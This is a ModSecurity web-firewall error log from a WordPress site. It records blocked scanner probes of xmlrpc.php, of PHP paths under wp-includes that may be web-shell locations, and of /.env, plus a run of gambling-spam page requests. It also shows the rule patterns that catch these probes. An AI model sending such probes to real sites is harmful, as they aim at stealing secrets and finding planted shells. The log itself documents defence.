[Fri Feb 27 22:27:51.114370 2026] [:error] [pid 54231:tid 54235] [client 20.220.8.221:34692] [client 20.220.8.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.220.8.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaGp5-Tvb5AeyJCdY7A18AAAAEE"]
[Fri Feb 27 22:27:53.977193 2026] [autoindex:error] [pid 54231:tid 54237] [client 20.220.8.221:34692] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Feb 27 22:27:55.769839 2026] [:error] [pid 54231:tid 54236] [client 20.220.8.221:34692] [client 20.220.8.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/index.php"] [unique_id "aaGp6-Tvb5AeyJCdY7A19QAAAEI"]
[Fri Feb 27 22:27:56.637066 2026] [:error] [pid 56075:tid 56093] [client 20.220.8.221:33968] [client 20.220.8.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/Jcrop.php"] [unique_id "aaGp7MKBhrfI6KNv9Rgz0QAAAA8"]
[Fri Feb 27 22:27:57.512261 2026] [:error] [pid 52073:tid 52084] [client 20.220.8.221:34688] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/index.php"] [unique_id "aaGp7Ya650YPyxXVeRawLAAAAYg"]
[Fri Feb 27 22:27:58.363379 2026] [:error] [pid 52073:tid 52096] [client 20.220.8.221:33973] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/index.php"] [unique_id "aaGp7oa650YPyxXVeRawMQAAAZQ"]
[Fri Feb 27 22:27:59.225554 2026] [:error] [pid 49306:tid 49319] [client 20.220.8.221:34694] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/index.php"] [unique_id "aaGp7_nSUDZue59Px9tTwAAAAUs"]
[Fri Feb 27 22:28:00.070161 2026] [:error] [pid 52073:tid 52082] [client 20.220.8.221:34698] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/index.php"] [unique_id "aaGp8Ia650YPyxXVeRawOAAAAYY"]
[Fri Feb 27 22:38:41.903480 2026] [:error] [pid 54101:tid 54108] [client 54.37.252.118:38208] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aaGscVY5qgRktcYTGFtZVwAAAcA"]
[Fri Feb 27 22:38:44.041743 2026] [:error] [pid 56075:tid 56087] [client 54.37.252.118:47898] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aaGsdMKBhrfI6KNv9RhBlgAAAAo"]
[Fri Feb 27 22:38:45.972661 2026] [:error] [pid 49306:tid 49325] [client 54.37.252.118:38904] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aaGsdfnSUDZue59Px9tc6AAAAVE"]
[Fri Feb 27 22:38:48.587758 2026] [:error] [pid 56075:tid 56100] [client 54.37.252.118:38914] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aaGseMKBhrfI6KNv9RhBrAAAABY"]
[Fri Feb 27 22:38:50.521135 2026] [:error] [pid 54103:tid 54184] [client 54.37.252.118:38926] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aaGseuvG4MPCmE0B2sDF0AAAAM0"]
[Fri Feb 27 22:38:52.412262 2026] [:error] [pid 54103:tid 54193] [client 54.37.252.118:38940] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aaGsfOvG4MPCmE0B2sDF1QAAANY"]
[Fri Feb 27 22:38:54.375860 2026] [:error] [pid 49306:tid 49325] [client 54.37.252.118:46432] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aaGsfvnSUDZue59Px9tdGgAAAVE"]
[Fri Feb 27 22:38:56.455995 2026] [:error] [pid 56075:tid 56091] [client 54.37.252.118:46442] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aaGsgMKBhrfI6KNv9RhBwAAAAA0"]
[Fri Feb 27 22:38:58.435038 2026] [:error] [pid 56075:tid 56099] [client 54.37.252.118:46454] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aaGsgsKBhrfI6KNv9RhByAAAABU"]
[Fri Feb 27 22:39:00.099024 2026] [:error] [pid 56075:tid 56080] [client 91.224.92.164:32362] [client 91.224.92.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aaGshMKBhrfI6KNv9RhB1AAAAAM"]
[Fri Feb 27 22:39:00.339820 2026] [:error] [pid 56075:tid 56082] [client 54.37.252.118:46460] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aaGshMKBhrfI6KNv9RhB2AAAAAU"]
[Fri Feb 27 22:39:02.353748 2026] [:error] [pid 56075:tid 56087] [client 54.37.252.118:46470] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aaGshsKBhrfI6KNv9RhB6gAAAAo"]
[Fri Feb 27 22:39:02.793215 2026] [:error] [pid 56075:tid 56096] [client 91.224.92.164:28512] [client 91.224.92.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aaGshsKBhrfI6KNv9RhB7gAAABI"]
[Fri Feb 27 22:39:04.835613 2026] [:error] [pid 49306:tid 49315] [client 54.37.252.118:45332] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aaGsiPnSUDZue59Px9tdRAAAAUc"]
[Fri Feb 27 22:39:07.368634 2026] [:error] [pid 62998:tid 63020] [client 54.37.252.118:45346] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aaGsi1QeueXZDUmoLol8JgAAARI"]
[Fri Feb 27 22:39:09.304693 2026] [:error] [pid 56075:tid 56078] [client 54.37.252.118:45356] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aaGsjcKBhrfI6KNv9RhCFgAAAAE"]
[Fri Feb 27 22:39:11.314478 2026] [:error] [pid 54231:tid 54245] [client 54.37.252.118:45360] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aaGsj-Tvb5AeyJCdY7A8kAAAAEs"]
[Fri Feb 27 22:39:13.558269 2026] [:error] [pid 54102:tid 54146] [client 54.37.252.118:45364] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aaGskXi74D4fiYUm_GeLlAAAAII"]
[Fri Feb 27 22:39:15.570636 2026] [:error] [pid 56075:tid 56100] [client 54.37.252.118:56830] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aaGsk8KBhrfI6KNv9RhCOgAAABY"]
[Fri Feb 27 22:39:17.484137 2026] [:error] [pid 56075:tid 56088] [client 54.37.252.118:56842] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aaGslcKBhrfI6KNv9RhCQwAAAAs"]
[Fri Feb 27 22:39:19.589731 2026] [:error] [pid 56075:tid 56084] [client 54.37.252.118:56844] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aaGsl8KBhrfI6KNv9RhCUAAAAAc"]
[Fri Feb 27 22:39:21.735895 2026] [:error] [pid 54102:tid 54154] [client 54.37.252.118:56860] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaGsmXi74D4fiYUm_GeLrQAAAIo"]
[Fri Feb 27 22:39:24.086605 2026] [:error] [pid 52073:tid 52077] [client 54.37.252.118:56862] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaGsnIa650YPyxXVeRa6SAAAAYE"]
[Fri Feb 27 22:39:26.104151 2026] [:error] [pid 52073:tid 52086] [client 54.37.252.118:39624] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aaGsnoa650YPyxXVeRa6XQAAAYo"]
[Fri Feb 27 22:39:28.173207 2026] [:error] [pid 54231:tid 54244] [client 54.37.252.118:39634] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aaGsoOTvb5AeyJCdY7A8pAAAAEo"]
[Fri Feb 27 22:39:30.410579 2026] [:error] [pid 52073:tid 52076] [client 54.37.252.118:39644] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aaGsooa650YPyxXVeRa6hgAAAYA"]
[Fri Feb 27 22:39:32.319844 2026] [:error] [pid 52073:tid 52096] [client 54.37.252.118:39656] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aaGspIa650YPyxXVeRa6nAAAAZQ"]
[Fri Feb 27 22:39:34.701166 2026] [:error] [pid 54102:tid 54144] [client 54.37.252.118:36750] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aaGspni74D4fiYUm_GeLvgAAAIA"]
[Fri Feb 27 22:39:36.699211 2026] [:error] [pid 54231:tid 54255] [client 54.37.252.118:36752] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "aaGsqOTvb5AeyJCdY7A8sQAAAFU"]
[Fri Feb 27 22:40:16.701513 2026] [:error] [pid 52073:tid 52098] [client 54.37.252.118:36768] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aaGs0Ia650YPyxXVeRa7RQAAAZY"]
[Fri Feb 27 22:40:19.018226 2026] [:error] [pid 49306:tid 49315] [client 54.37.252.118:55322] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aaGs0_nSUDZue59Px9tdpQAAAUc"]
[Fri Feb 27 22:40:21.111719 2026] [:error] [pid 49306:tid 49324] [client 54.37.252.118:55330] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaGs1fnSUDZue59Px9tdrQAAAVA"]
[Fri Feb 27 22:40:23.219080 2026] [:error] [pid 49306:tid 49318] [client 54.37.252.118:55342] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aaGs1_nSUDZue59Px9tdtQAAAUo"]
[Fri Feb 27 22:40:25.186693 2026] [:error] [pid 54102:tid 54156] [client 54.37.252.118:37578] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aaGs2Xi74D4fiYUm_GeMBAAAAIw"]
[Fri Feb 27 22:40:27.747205 2026] [:error] [pid 56075:tid 56080] [client 54.37.252.118:37594] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aaGs28KBhrfI6KNv9RhC9wAAAAM"]
[Fri Feb 27 22:40:30.287967 2026] [:error] [pid 56075:tid 56096] [client 54.37.252.118:37606] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aaGs3sKBhrfI6KNv9RhC_QAAABI"]
[Fri Feb 27 22:40:32.541338 2026] [:error] [pid 56075:tid 56101] [client 54.37.252.118:37618] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aaGs4MKBhrfI6KNv9RhDBwAAABc"]
[Fri Feb 27 22:40:34.803760 2026] [:error] [pid 62998:tid 63011] [client 54.37.252.118:35148] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaGs4lQeueXZDUmoLol8qwAAAQk"]
[Fri Feb 27 22:40:36.958300 2026] [:error] [pid 62998:tid 63014] [client 54.37.252.118:35158] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaGs5FQeueXZDUmoLol8tgAAAQw"]
[Fri Feb 27 22:40:38.772800 2026] [:error] [pid 54101:tid 54109] [client 54.37.252.118:35174] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aaGs5lY5qgRktcYTGFtZ5QAAAcE"]
[Fri Feb 27 22:40:41.087643 2026] [:error] [pid 49306:tid 49317] [client 54.37.252.118:35188] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aaGs6fnSUDZue59Px9td2AAAAUk"]
[Fri Feb 27 22:40:43.141528 2026] [:error] [pid 54103:tid 54182] [client 54.37.252.118:35200] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aaGs6-vG4MPCmE0B2sDGjAAAAMs"]
[Fri Feb 27 22:40:45.113331 2026] [:error] [pid 56075:tid 56082] [client 54.37.252.118:58330] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aaGs7cKBhrfI6KNv9RhDEwAAAAU"]
[Fri Feb 27 22:40:47.157649 2026] [:error] [pid 56075:tid 56082] [client 54.37.252.118:58336] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aaGs78KBhrfI6KNv9RhDJAAAAAU"]
[Fri Feb 27 22:40:49.379241 2026] [:error] [pid 52073:tid 52078] [client 54.37.252.118:58340] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aaGs8Ya650YPyxXVeRa7gwAAAYI"]
[Fri Feb 27 22:40:51.360249 2026] [:error] [pid 49306:tid 49321] [client 54.37.252.118:58344] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aaGs8_nSUDZue59Px9td4wAAAU0"]
[Fri Feb 27 22:40:53.381695 2026] [:error] [pid 56075:tid 56093] [client 54.37.252.118:58360] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aaGs9cKBhrfI6KNv9RhDNwAAAA8"]
